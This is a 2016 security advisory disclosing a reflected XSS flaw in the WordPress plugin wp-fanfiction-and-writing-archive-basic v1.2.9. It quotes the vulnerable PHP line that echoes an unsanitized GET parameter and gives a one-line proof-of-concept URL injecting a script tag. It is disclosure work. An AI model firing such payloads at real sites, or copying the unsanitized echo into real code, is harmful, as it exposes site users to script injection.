Advisory #: 265
Title: Reflected XSS in wordpress plugin wp-fanfiction-and-writing-archive-basic v1.2.9
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/wp-fanfiction-and-writing-archive-basic
Downloads: 1708
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: wp-fanfiction-and-writing-archive-basic
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./wp-fanfiction-and-writing-archive-basic/includes/fiction-views.php: 984:<input type="text" id="search_input" name="search_input" value="<?php if(isset($_GET['search_input'])) echo $_GET['search_input']; ?>" /> The variable search_input appears to send unsanitized data back to the users browser.
CVE-ID: Not Released
File:./wp-fanfiction-and-writing-archive-basic/includes/fiction-views.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. http://[target]/wp-content/plugins/wp-fanfiction-and-writing-archive-basic/includes/fiction-views.php?search_input="><script>alert(1);</script><"